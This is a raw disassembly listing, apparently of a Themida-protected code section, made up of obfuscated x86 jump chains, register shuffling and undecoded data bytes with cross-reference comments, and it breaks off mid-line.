--------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 57000000h, 8989E954h, 1CF7FFFFh, 0D2F75A24h, 27E9DAF7h dd 51FFFFF8h, 0FF7D40E9h, 4EF81FFh, 0E9000000h, 0FFFFACD7h dd 4C481h, 0E9580000h, 8163h ; --------------------------------------------------------------------------- loc_55D3CC: ; CODE XREF: Themida_:0055A363j mov edx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5605B2 ; --------------------------------------------------------------------------- dd 46852h, 0CAE90000h, 81000048h, 460980C7h, 8BFE01AAh dd 68E9243Ch db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D3FF: ; CODE XREF: Themida_:00550112j add edx, 76F83BEFh mov ebp, edx jmp loc_55EB9E ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFF2B03h, 2BFh, 0BB8E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D41E: ; CODE XREF: Themida_:00560E09j add esp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_55C738 ; --------------------------------------------------------------------------- loc_55D42C: ; CODE XREF: Themida_:00564822j not eax sub eax, 9AFE0AC0h jmp loc_55F0F2 ; --------------------------------------------------------------------------- dd 21F4E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D43E: ; CODE XREF: Themida_:00564B8Bj sub dl, 0C1h add ch, dl jmp loc_55380C ; --------------------------------------------------------------------------- dd 4C781h, 0EF810000h, 4, 5C243C87h, 0FF242C89h, 5D042474h dd 8B24048Fh, 89532424h, 4C381E3h, 50000000h, 8F3870B8h dd 6636250Bh, 0FFE95A2Fh, 89000057h, 0BA5250E2h, 1AD730A1h dd 68B9CA81h, 0EAD10C71h, 35BDE9h db 0 ; --------------------------------------------------------------------------- loc_55D495: ; CODE XREF: Themida_:00554AFEj sub edi, ebp mov ebp, [esp] add esp, 4 jmp loc_55C8CF ; --------------------------------------------------------------------------- db 1, 0D8h, 5Bh dd 4358C389h, 0B4C1BA52h, 0BDE9B196h, 59FFFFF8h, 5C24048Fh dd 2F13E9h, 0C3805A00h, 0A176E9AEh, 5B3FFFFh, 5B66D828h dd 8B2434FFh, 0C481240Ch, 4, 4C481h, 9D680000h, 89000046h dd 65E9240Ch db 0EEh, 2 dup(0FFh) byte_55D4EF db 66h ; DATA XREF: Themida_:0054FE18o dd 68240C8Bh, 7177h, 54241489h, 0BB53515Ah, 14613248h dd 431ECB81h, 0F3817500h, 7561735Ah, 555BD989h, 469EDBDh dd 0DBF7E90Eh, 525AFFFFh, 0FF498BE9h, 5FF901FFh, 0FAE9D101h dd 8BFFFF33h, 2AE92414h, 58FFFF41h, 2C781h, 0FF570000h dd 8B042474h, 38E9243Ch, 3100001Ah, 0F5815AD5h, 0CCE5FE3Dh dd 89EF8957h, 10A1E9FBh, 68500000h, 185068FBh, 15BD5558h dd 684A2B7Eh, 465Fh, 0B9240C89h, 0 dd 0CD87E929h, 0C5814D59h, 9D6BD41Ch, 34C2E9h, 4C48300h dd 34E3C281h, 0FA0118F9h, 34E3B951h, 0CA2918F9h, 243C8B59h dd 4C481h, 14330000h, 24143124h, 7653E9h db 0 ; --------------------------------------------------------------------------- loc_55D5B1: ; CODE XREF: Themida_:005642A6j push dword ptr [esp+4] jmp loc_55C992 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FF959BE9h, 0EAF181FFh, 89B6B2EBh, 1522E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D5D2: ; CODE XREF: Themida_:0055438Dj push ebx push edi jmp loc_552E2B ; --------------------------------------------------------------------------- db 58h, 4Dh, 0F7h dd 0F5814DD5h, 489B73ADh, 7CF6ED81h, 0EE01CD51h, 24048B5Dh dd 4C481h, 67E90000h, 89000028h, 525352E0h, 6D6037BAh dd 0EDEA815Ch, 0E973EA45h, 252Dh, 2414F757h, 0FFB378E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D619: ; CODE XREF: Themida_:0055937Ej pop edi and eax, 9046EB0h jmp loc_5544D3 ; --------------------------------------------------------------------------- dd 228FCB81h, 0DBF77312h, 0DAF3814Bh, 89EEADD1h, 0CF815BDFh dd 0D3378B0h, 2D86E781h, 0DFF73C04h, 3461E9h, 31B35300h dd 88DC8850h, 1C8B58E5h, 94EAE924h, 1C89FFFFh, 1C8B5424h dd 2AEDE924h, 5B540000h, 0E3E95255h, 0C1FFFF4Ch, 0CA8103EAh dd 5A2EFAh, 0EA81D2F7h, 0FAB29DE3h, 148BD701h, 4C48124h dd 81000000h, 7F3D74C7h, 81D70101h, 7F3D74EFh, 1EBE5601h dd 8104D272h, 731663C7h, 81F72925h, 731663EFh, 875A5E25h dd 248B243Ch, 0B8E2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D6BA: ; CODE XREF: Themida_:005644B6j mov [esp], eax mov eax, 4DF67BE6h push ebx sub esp, 4 jmp loc_553618 ; --------------------------------------------------------------------------- loc_55D6CE: ; CODE XREF: Themida_:0055AEB1j push eax mov eax, esp add eax, 4 add eax, 4 push eax jmp loc_55B28C ; --------------------------------------------------------------------------- db 83h dd 11E904C0h, 50FFFFD6h, 405E089h, 2D000000h, 4, 1EC4E9h dd 18ED8100h, 1E4242Ch, 53555DEBh, 27B18BBh, 3A41E976h db 2 dup(0FFh) word_55D70E dw 77FFh ; DATA XREF: Themida_:0054FE20o dd 58669D1Ch, 9C240418h, 0FF27FAE9h, 0E08950FFh, 405h dd 42D00h, 4870000h, 0ADE95C24h, 0E9000042h, 0FFFF27DFh ; --------------------------------------------------------------------------- loc_55D738: ; CODE XREF: Themida_:0056483Aj mov edi, 4B265B85h jmp loc_5566B0 ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFFD2A5h, 99E95166h, 81FFFF8Ah, 4C7h, 4C78100h, 87000000h dd 2FE9243Ch, 89FFFF92h, 0EC81241Ch, 2, 240C8966h, 885001B1h dd 0FFE788CCh, 48B2434h, 4C48324h, 4C481h, 59660000h, 0B2525366h dd 0A5BEE922h, 429FFFFh, 7CE99C24h, 83FFFF27h, 348704EEh dd 24248B24h, 68241489h, 2281h, 81242489h, 42404h, 0E95A0000h dd 597Ah, 4EC81h, 3C890000h, 0E8B95124h, 81057836h, 0EB7DB6F1h dd 59CF890Ch, 16F3B850h, 0C729CC69h, 8BFB2958h, 0C481243Ch dd 4, 8CE9C329h, 4FFFF74h, 0E9C728E4h, 0FFFF6CB1h, 31240C33h dd 0C33240Ch, 89665C24h, 0CE92404h, 68FFFF27h, 4C82h, 782DE9h db 0 ; --------------------------------------------------------------------------- loc_55D815: ; CODE XREF: Themida_:0054FF7Bj push 5038h jmp loc_5632EF ; --------------------------------------------------------------------------- db 5Eh dd 0E9E78957h, 0FFFF4803h, 83241C8Bh, 48F04C4h, 24248B24h dd 4EC81h, 80E90000h, 900005Bh, 0C58158C5h, 398439DDh dd 0D57FF581h, 0EB091BDEh, 0FF87A4E9h, 56853FFh, 0E918AD43h dd 0FFFFF335h ; --------------------------------------------------------------------------- loc_55D860: ; CODE XREF: Themida_:0056157Dj add ebx, 4 push ecx mov ecx, 250A7755h shl ecx, 6 jmp loc_553159 ; --------------------------------------------------------------------------- dd 5F2434FFh, 4C481h, 0C8010000h, 323B1405h, 240C8B42h dd 4C481h, 0CD050000h, 29796709h, 0BB5352D8h, 187A6790h dd 3D37EB81h, 8DE9378Dh, 8B000071h, 0C3682414h, 89000000h db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 4 sub ebp, ebx pop ebx xchg ebp, [esp] mov esp, [esp] jmp loc_565233 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 241C8700h, 5FB5E95Ch, 1FBE0000h, 46214A2Bh, 1FCE8146h dd 0E92DDC37h, 0FFFFBC76h, 1F73CFB9h, 0FFE9816Ch, 81FFFFFFh dd 0AB49B2F1h, 66F18161h, 291C0653h, 815E59C8h, 0C009BBC3h dd 63BF5734h, 0E9394657h, 3C38h, 6802EBC1h, 0B65h, 51240489h dd 8142FBB9h, 0E471B87Eh, 0DEE9AFE1h, 81FFFFB5h, 54977CC5h dd 0D776E93Fh, 0C181FFFFh, 4, 0FFF149E9h, 241C89FFh, 0FFAD19E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D955: ; CODE XREF: Themida_:0055629Dj pop edi push edi jmp loc_5590D6 ; --------------------------------------------------------------------------- dd 0FF25B6E9h, 6408B8FFh, 0E6E91F10h, 0BFFFFF4Dh, 5A797241h dd 0E7D1DFF7h, 0EEDBEF81h, 0FA891CFFh, 0A7F2815Fh, 522E0D2Ch dd 533CC0BAh, 37BF574Ah, 477A2600h, 0BE15C781h, 0FA296B56h dd 4B0EE95Fh, 0C3810000h, 5560272Ah, 5624048Bh, 0FF46C2E9h dd 0AC62BBFFh, 0DA01FF0Eh, 0AC23E95Bh, 0EEC1FFFFh, 0EE814E02h dd 7ECB0058h, 0F5E9DEF7h db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D9CB: ; CODE XREF: Themida_:0056325Ej xor [esp], ecx xor ecx, [esp] xor [esp], ecx mov edx, [esp] jmp loc_563F2C ; --------------------------------------------------------------------------- dd 0EFD4E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D9E2: ; CODE XREF: Themida_:00553DC7j mov edi, 47F11CBFh mov ebx, edi pop edi shr ebx, 6 shl ebx, 1 push eax sub esp, 4 mov [esp], ecx push 5F7F2A40h pop ecx add ecx, 0B9A61191h push ecx pop eax pop ecx push eax mov eax, 7EBD6DC4h sub eax, 65DC514Fh or eax, 7787077Eh shl eax, 5 xor eax, 52276E37h add eax, 732B7E11h jmp loc_557596 ; --------------------------------------------------------------------------- dw 0C581h dd 4, 5C242C87h, 9C240CFFh, 0FF24DAE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DA3D: ; CODE XREF: Themida_:0055BE92j add ebx, 4 jmp loc_563D2E ; --------------------------------------------------------------------------- dd 41C5C181h, 0E90120F3h, 0D015E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DA56: ; CODE XREF: Themida_:0056463Fj push dword ptr [esp] push dword ptr [esp] mov edx, [esp] jmp loc_556EFA ; --------------------------------------------------------------------------- loc_55DA64: ; CODE XREF: Themida_:0056281Fj pop esp pop dword ptr [esp] jmp loc_551C92 ; --------------------------------------------------------------------------- byte_55DA6D db 56h, 89h, 0E6h ; DATA XREF: Themida_:0054FE84o dd 4C681h, 68550000h, 0DB802DEh, 0EDD1455Dh, 0FF5F64E9h dd 241433FFh, 287BE95Ch, 0E2890000h, 4C281h, 3EE90000h dd 0F7FFFF49h, 53582414h, 962D45BBh, 0E9D8095Eh, 0FFFFF75Fh dd 54486866h, 81665E66h, 667638F6h, 0E95EF389h, 12E9h dd 0C15EF209h, 0B95103EAh, 55AB4694h, 8159CA29h, 1F67E0EAh dd 0E9D701B2h, 0FFFF52E5h, 3E48EF81h, 0F8016549h, 0E689565Fh dd 0FFAE70E9h, 24148BFFh, 4C481h, 55570000h, 9B1FC5BDh dd 8DED812Fh, 0E92C702Ch, 512Eh, 2771EE81h, 0DE015B81h dd 2771C681h, 0D3E95B81h, 0FFFFFF7Dh, 2FE92434h, 52FFFF3Eh dd 0FFFA35E9h, 60F8BDFFh, 0C0E905EAh, 4800001Eh, 0E0C1D0F7h dd 63F02D04h, 0F2E94E38h, 8100004Eh, 4042444h, 12E785Bh dd 5604246Ch, 785B04BEh, 2474292Eh, 44815E08h, 8F90424h dd 0E9560BC2h, 0FFFF242Ch, 0AAA1685Dh, 295B569Ch, 24048BC3h dd 5204C483h, 0B31C2EBAh, 6C14E91Ch, 0E3C0FFFFh, 0B4CB8006h dd 0C380DBF6h, 0E9DE00ADh, 0FFFF8D9Fh ; --------------------------------------------------------------------------- loc_55DB94: ; CODE XREF: Themida_:0055E41Bj push 1A25946h mov edx, [esp] jmp loc_5567A4 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 28000000h, 241C8BDAh, 3004C483h, 54555AD1h, 0DB22E95Dh dd 895CFFFFh, 0B9240Ch, 1000000h, 8B0188D1h, 0EC83240Ch dd 243C8904h, 0E9555F54h, 710Fh, 835DEF01h, 0FF5704C7h dd 5F042474h, 0FF9B3DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DBE9: ; CODE XREF: Themida_:00554E47j sub eax, edi pop edi add ebp, eax pop eax xchg ebp, [esp] jmp loc_55C924 ; --------------------------------------------------------------------------- db 89h dd 0E0892404h, 0FF6DEFE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DC01: ; CODE XREF: Themida_:00552EC1j pop edx add dword ptr [esp+4], 36B00316h add dword ptr [esp+4], 4B373EC6h jmp loc_560B08 ; --------------------------------------------------------------------------- db 87h dd 835C2434h, 3C3304C7h, 243C3124h, 8B243C33h, 0B70F2424h dd 23BC68C8h, 14890000h, 9EE95424h, 31FFFF9Bh, 0CB015EF1h dd 0EDE95659h, 81FFFF27h, 0EAA133F1h, 8BC801D2h, 0C481240Ch dd 4, 8124348Bh, 4C4h, 4EC8300h, 6F6BE9h db 0 ; --------------------------------------------------------------------------- loc_55DC69: ; CODE XREF: Themida_:00564EDFj add ebx, 4 xchg ebx, [esp] jmp loc_551402 ; --------------------------------------------------------------------------- dd 229DE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DC7A: ; CODE XREF: Themida_:0055B2B6j pop ebx sub edi, ebp jmp loc_559A0C ; --------------------------------------------------------------------------- dw 0BD55h dd 4, 0E9EF8957h, 0FFFF7372h, 242C8155h, 4B6D013Dh, 81240C8Bh dd 4C4h, 0A8BE5600h, 8179754Fh, 0F7B195C6h, 5EF101D1h dd 0FFE8ECE9h db 0FFh byte_55DCB5 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FD8Co dd 54505224h, 40558h, 42D0000h, 87000000h, 248B2404h, 24248924h dd 528D68h, 241C8900h, 4BBh, 245C0100h, 148B5B04h, 4EC8324h dd 0FF283DE9h, 0D2F74AFFh, 0E94ADAF7h, 0C3Fh ; --------------------------------------------------------------------------- loc_55DCF8: ; CODE XREF: Themida_:00552701j div cx jmp loc_5561B1 ; --------------------------------------------------------------------------- dd 241C875Fh, 824248Bh, 0E99C2404h, 0FFFF2207h, 5DEA895Fh dd 8904EC83h, 17BE2434h, 8113CA05h, 0C7046DE6h, 0E6D14620h dd 3635E681h, 814E4B98h, 2BACF1EEh, 0FD86E9E5h, 431FFFFh dd 21D5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DD42: ; CODE XREF: Themida_:0055FC74j add ecx, 4 push ebp mov ebp, 4 sub ecx, ebp pop ebp xchg ecx, [esp] mov esp, [esp] mov [esp], ecx push 0FEh push dword ptr [esp] jmp loc_55FA0A ; --------------------------------------------------------------------------- db 51h dd 0CD787EB9h, 59CD090Ch, 6195E9h, 4EDC000h, 804AED80h dd 0E828E4C5h, 50240C8Bh, 0FF38B3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DD89: ; CODE XREF: Themida_:00564F81j and eax, ebp mov ebp, [esp] add esp, 4 shr eax, 8 xor eax, ecx push 4D7Ch mov [esp], eax xchg ecx, [esp] jmp loc_556764 ; --------------------------------------------------------------------------- dw 5D5Fh dd 48BC389h, 4C48324h, 473BCB81h, 0F381439Bh, 6A1161A7h dd 65A2BD55h, 30E94920h, 81000075h, 0F743C9EEh, 7436E901h dd 89500000h, 0A5AE9E0h, 4BB0000h, 0E9000000h, 0FFFF93F3h dd 965EF029h, 49919646h, 11BF5791h, 0E93C5A53h, 1A81h dd 0E9FFE835h, 58C10157h, 7E186855h, 34890000h, 1B246824h dd 348B0E75h, 5A545224h, 4BD55h, 0EA010000h, 4341E95Dh dd 0CB89FFFFh, 70F38159h, 0E91ECA6Fh, 5538h, 0B1C2815Fh dd 81655520h, 75D7A4F2h, 5AD5014Fh, 0FFBC7BE9h, 0E9C329FFh dd 52D9h, 4C481h, 39E90000h, 33000064h, 0E95C2404h, 0FFFFE665h dd 65AEEB81h, 0DBF73B19h, 22F7C381h, 0D8294A8Fh, 0FF309DE9h dd 0F7454DFFh, 2EE957DDh, 5C00004Fh, 68240C89h, 5342h dd 51243C89h, 0CF89F189h, 0E9240C8Bh, 2009h, 0BD2DD801h dd 5B0F9C79h, 72AB68h, 24148900h, 370BE9h db 0 ; --------------------------------------------------------------------------- loc_55DEAD: ; CODE XREF: Themida_:0055A5E9j sub edx, eax mov eax, edx pop edx push edx mov edx, 59156E21h sub edx, 0BFA164Bh jmp loc_559D38 ; --------------------------------------------------------------------------- byte_55DEC3 db 0FFh ; DATA XREF: Themida_:0054FC3Co dd 3DE92434h, 81FFFF37h, 732C2434h, 2C8B2827h, 4C48324h dd 732CF581h, 48B2827h, 4C48324h, 0FFC5834Dh, 0E9DDF745h dd 0FFFFDAD6h, 266068h, 267BE900h, 48F0000h, 0D8285C24h dd 34FFA904h, 4E80E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DF0A: ; CODE XREF: Themida_:0055BBFCj mov [esp], ebx push ebx push eax push ebx mov ebx, 1C0804EFh push ebx pop eax pop ebx mov ebx, eax mov eax, [esp] push 4F09h jmp loc_552E7A ; --------------------------------------------------------------------------- dd offset dword_568568 align 4 dd 0BD242C89h, 0C40E0A21h, 6FE9E929h, 31000013h, 6E958C3h db 29h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DF43: ; CODE XREF: Themida_:005562C7j mov eax, ebx pop ebx jmp loc_558B12 ; --------------------------------------------------------------------------- db 55h dd 4BDh, 5DEE0100h, 0F4685653h, 5E7BA335h, 0FFC8FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DF61: ; CODE XREF: Themida_:0055F7BCj sub esp, 4 jmp loc_563DFB ; --------------------------------------------------------------------------- loc_55DF6C: ; CODE XREF: Themida_:005529A0j add ebp, 4 add ebp, 4 jmp loc_563F59 ; --------------------------------------------------------------------------- aBaH0 db 'í[H0',0 db 59h dd 0FFA28DE9h, 5E089FFh, 4, 0E904C083h, 0FFFF3DA4h, 8005E5C0h dd 0EDC0BFC5h, 52CDFE03h, 0C280CCB2h, 5AD530CBh, 0E959E828h dd 0FFFF6215h, 4C681h, 34870000h, 87BF5C24h, 18ABFD5h dd 242C8BEFh, 104C483h, 2C335FFDh, 56C5E924h, 0C2810000h dd 3B7C34CEh, 0EA81FA01h, 3B7C34CEh, 2414875Fh, 0FFB200E9h dd 38E95BFFh, 5AFFFF33h, 0C8BCB29h, 2953E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DFFE: ; CODE XREF: Themida_:0055036Aj sub edx, 6E6475D6h push ebp mov ebp, 3E421A82h xchg eax, ebp jmp loc_561401 ; --------------------------------------------------------------------------- dd 1E685E54h, 8900004Ch, 0ED682414h, 89000004h, 0EFBE2434h dd 0E90C475Dh, 0FFFF2CAEh, 4C4FED81h, 0EE01757Fh, 5EF3315Dh dd 3060E951h, 0E95CFFFFh, 0FFFF48E6h, 685A5452h, 5022h dd 0FF6004E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E051: ; CODE XREF: Themida_:00562AE9j xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] pop dword ptr [esp] jmp loc_561074 ; --------------------------------------------------------------------------- db 31h, 4, 24h dd 5C240433h, 24048B66h, 4EC8156h, 89000000h, 0B8502424h dd 4, 4244401h, 2434FF58h, 4C4815Eh, 51000000h, 6F163BB9h dd 0DFBE564Ch, 9618109h, 52505EF1h, 80720CBAh, 5AD08921h dd 92A4E955h, 3C89FFFFh, 95D0E924h, 0D829FFFFh, 8330B72Dh dd 0BDBB537Eh, 29164634h, 5252E9D8h, 0FD880000h, 5152665Bh dd 0EE8830B5h, 53240C8Bh, 0C381E389h, 4, 8704C383h, 305C241Ch dd 525A66F5h, 2CFDE9h, 0CFF58100h, 89559274h, 0EEC15DEEh dd 814E4607h, 0EA75E0F6h, 81D6F721h, 21E9BEEh, 0F6814E27h dd 76BD69DEh, 8106EEC1h, 75FB86F6h, 5EF7299Ch, 315FFB29h dd 77FDE9C2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E12A: ; CODE XREF: Themida_:00555F5Fj push ebp push edi jmp loc_5605C1 ; --------------------------------------------------------------------------- db 0BBh, 0FFh, 6Fh dd 0DA297598h, 2C2E95Bh, 0C4830000h, 0A3C68104h, 57793A61h dd 9E5C20BFh, 5FFE0182h, 0FF8776E9h, 86EE80FFh, 30CDC680h dd 24148BF3h, 0FFFA3CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E165: ; CODE XREF: Themida_:0055E19Ej push ecx mov ecx, 0A4B40C85h sub eax, ecx pop ecx mov ebp, eax jmp loc_56191F ; --------------------------------------------------------------------------- db 89h, 0C3h, 58h dd 9C2C76B9h, 0E1D1495Dh, 0FF8F21E9h, 5DEA29FFh, 0FF2831E9h dd 2434FFFFh, 4C4835Eh, 51E38953h, 3970E9h db 0 ; --------------------------------------------------------------------------- loc_55E19D: ; CODE XREF: Themida_:00550F71j inc eax jmp loc_55E165 ; --------------------------------------------------------------------------- db 68h dd 224Ch, 0E9241489h, 0FFFFE6AFh ; --------------------------------------------------------------------------- loc_55E1B0: ; CODE XREF: Themida_:0055302Dj push esi mov esi, 9B3CE09Ch xor ebx, esi pop esi jmp loc_555B98 ; --------------------------------------------------------------------------- dw 5A5Fh dd 0FF1D52E9h, 0F30159FFh, 8124348Bh, 4C4h, 0E2D6800h dd 1C890000h, 2474FF24h, 48F5B04h, 402D5C24h, 8320679Eh dd 16E904ECh db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E1EF: ; CODE XREF: Themida_:00561C15j mov ecx, [esp] add esp, 4 jmp loc_55D217 ; --------------------------------------------------------------------------- db 5Ah, 59h, 0E9h dd 1C2Fh ; --------------------------------------------------------------------------- loc_55E204: ; CODE XREF: Themida_:0055713Ej mov ebx, [esp] add esp, 4 mov eax, [esp] sub esp, 4 mov [esp], edx mov edx, esp jmp loc_556429 ; --------------------------------------------------------------------------- loc_55E21A: ; CODE XREF: Themida_:00563ABDj sub eax, 6D734FFBh add ecx, eax pop eax xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push esi push esp pop esi add esi, 4 jmp loc_563322 ; --------------------------------------------------------------------------- loc_55E24E: ; CODE XREF: Themida_:0055E984j pop ecx push eax push esi mov esi, 7F153F7Fh dec esi not esi jmp loc_562DC2 ; --------------------------------------------------------------------------- dw 148Bh dd 4C48324h, 80E8B353h, 0C3FE97CBh, 0F380C3FEh, 54CE6848h dd 3C890000h, 81E78924h, 4C7h, 8E00E900h, 0BF57FFFFh, 1BD21543h dd 815FFD31h, 124D94C5h, 3B212D38h, 0E8293556h, 563B2105h dd 0BF575D35h, 4B941888h, 3C8BF829h, 4C48324h, 4EC81h dd 0C890000h, 2CF56824h, 20E90000h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E2C3: ; CODE XREF: Themida_:00551485j add esp, 4 neg ebx jmp loc_560785 ; --------------------------------------------------------------------------- db 80h, 0C9h, 5Ch dd 8004E9C0h, 0A0E9C1C9h, 4300003Dh, 0C102E3C1h, 0EBC103EBh dd 0FCC38103h, 0E9FF2878h, 0FFFF417Ch, 3BBE56h, 0F2890EEDh dd 0E9D3295Eh, 0FFFF7CCDh, 0B5F68146h, 8965C34Ch, 0FA015EF7h dd 0D7B8505Fh, 83432D2Ch, 348904ECh, 53F2BE24h, 0EEC10EBDh dd 0D7F1E907h, 1E68FFFFh, 89000032h, 25E9240Ch, 5C000015h dd 24048F54h, 4BA52h, 54010000h, 31E90424h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E347: ; CODE XREF: Themida_:005524FCj push ecx inc dword ptr [esp] pop ecx sub ecx, 48971A4Dh add ecx, 52B90739h and ecx, 534E31FBh jmp loc_55E976 ; --------------------------------------------------------------------------- db 8Bh dd 0B9E92404h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E36B: ; CODE XREF: Themida_:00556044j neg ecx add ecx, 0BE9C514Fh jmp loc_55BF63 ; --------------------------------------------------------------------------- loc_55E378: ; CODE XREF: Themida_:00551F80j sub eax, 0A774DFE2h xor esi, eax pop eax mov edi, [esp] jmp loc_55E8D8 ; --------------------------------------------------------------------------- dd 0E95AF588h, 5732h ; --------------------------------------------------------------------------- loc_55E390: ; CODE XREF: Themida_:0055A85Aj push 4216h mov [esp], edi mov edi, 38EA2C28h push esi push 7D9340D8h jmp loc_552301 ; --------------------------------------------------------------------------- dd 3C8BF921h, 5C42E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E3B2: ; CODE XREF: Themida_:00550E4Fj add eax, 4 xchg eax, [esp] pop esp jmp loc_55936B ; --------------------------------------------------------------------------- dw 481h dd 424h, 0C5815D00h, 4, 4C581h, 2C330000h, 242C3124h, 8B242C33h dd 0AFE92424h db 0F3h, 2 dup(0FFh) aNh4 db 'h4+',0 ; DATA XREF: Themida_:0054FE14o dd 241C8900h, 4EC81h, 0C890000h, 1A9C6824h, 0E95920FAh dd 5ADEh, 0E95AD089h, 0FFFFB3B9h ; --------------------------------------------------------------------------- loc_55E408: ; CODE XREF: Themida_:0055EC2Ej mov ebx, [esp] add esp, 4 xchg ecx, [esp] pop esp push ebx push ecx mov ecx, 60894EACh push edi push edx jmp loc_55DB94 ; --------------------------------------------------------------------------- dd 4C681h, 34870000h, 0F8015C24h, 0E9243C8Bh, 0FFFF5E04h dd 0EC81D9F7h, 4, 0BA241489h, 555219CAh, 15D3E9h, 0E9F88900h dd 48A7h, 33242C31h, 248B242Ch, 48B6624h, 0E7895724h, 4E95752h dd 87FFFFF5h, 535C243Ch, 0BE565B54h, 732A532Eh, 33F5F681h dd 0BD5549E5h, 4B5B0675h, 815DEE31h, 736D3ACEh, 0C6814E74h dd 0B640978h, 7931BD55h, 0EE31815Bh, 8BF3015Dh, 0EBE92434h dd 6800002Bh, 46FC7DC7h, 89EE815Eh, 0C1310F4Ah, 0F68102E6h dd 7FDACAC9h, 0FFC246E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E4BD: ; CODE XREF: Themida_:00556B85j sub ecx, 108373DBh or ecx, 1B747837h xor ecx, 86F7E405h add esi, ecx pop ecx shr esi, 1 xor esi, 41030ECDh sub eax, esi jmp loc_5634F9 ; --------------------------------------------------------------------------- byte_55E4E1 db 0FFh, 77h, 40h ; DATA XREF: Themida_:0054FC90o dd 0FF1A2EE9h, 54565EFFh, 5390E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E4F2: ; CODE XREF: Themida_:0055CA6Dj shl esi, 7 add esi, 163D52BCh jmp loc_554788 ; --------------------------------------------------------------------------- dd 3C8B5457h, 4C48124h, 0E9000000h, 0FFFFDE9Bh ; --------------------------------------------------------------------------- loc_55E510: ; CODE XREF: Themida_:0055FE9Cj add esp, 4 or edx, eax jmp loc_55CB40 ; --------------------------------------------------------------------------- dw 74FFh dd 99E90424h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E523: ; CODE XREF: Themida_:00560679j mov eax, [esp] add esp, 4 shr esi, 7 xor esi, 0FE737CFBh jmp loc_5635FC ; --------------------------------------------------------------------------- loc_55E53A: ; CODE XREF: Themida_:005616E3j push eax mov eax, 4B117551h and eax, 6A067696h add eax, 0B5FF8BF4h add ecx, 749C7CC4h add ecx, eax sub ecx, 749C7CC4h jmp loc_56421E ; --------------------------------------------------------------------------- db 51h, 0B9h, 30h dd 8140E123h, 0C37C3DE9h, 8E9C111h, 13BAF181h, 0D9F74581h dd 0D873C181h, 0CB3175AFh, 97BD5559h, 515CF45Ch, 275292B9h dd 244C291Ah, 6C01590Ch, 44810824h, 52920824h, 34FF1A27h dd 0C4815D24h, 4, 0E9E28952h, 2DC6h, 5BD9015Bh, 304E9h db 0 ; --------------------------------------------------------------------------- loc_55E5B5: ; CODE XREF: Themida_:00557B48j pop edx shl bl, 8 push ecx mov ecx, esp push 0CA3h mov [esp], ebp push edx push 5CD630D8h jmp loc_55010B ; --------------------------------------------------------------------------- db 54h dd 0FF633CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E5D5: ; CODE XREF: Themida_:0055FF77j xor ch, 0DFh or ch, 0F2h push dx mov dl, ch inc dl mov ch, dl pop dx shr ch, 3 inc ch push edx mov dh, 5Bh sub ch, 0B2h sub ch, dh jmp loc_559F84 ; --------------------------------------------------------------------------- db 33h dd 51E9242Ch, 5FFFFFFEh, 2DEB815Dh, 123E935h, 2DC381C3h dd 0E923E935h, 0FFFF1ECFh, 8B241487h, 0E1F62424h, 0CCB60F66h dd 0FFD4D9E9h, 0E9D000FFh, 0FFFFEF03h, 627AF281h, 0D3892EFEh dd 0FFD75DE9h, 5F1BDFFh, 0EB011218h, 5F69E95Dh, 0CA290000h dd 4C0AEA81h, 1AE97E01h, 81FFFF99h, 4C2h, 45756800h, 14890000h dd 1F9EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E666: ; CODE XREF: Themida_:005574C9j push 1Dh mov [esp], eax jmp loc_560926 ; --------------------------------------------------------------------------- db 89h dd 4EC81E0h, 89000000h, 0BD552414h, 4, 2C8BEA89h, 9FCAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E68E: ; CODE XREF: Themida_:00553640j xor ebx, 26AE5D9Eh and eax, ebx mov ebx, [esp] jmp loc_55464A ; --------------------------------------------------------------------------- word_55E69E dw 8B66h ; DATA 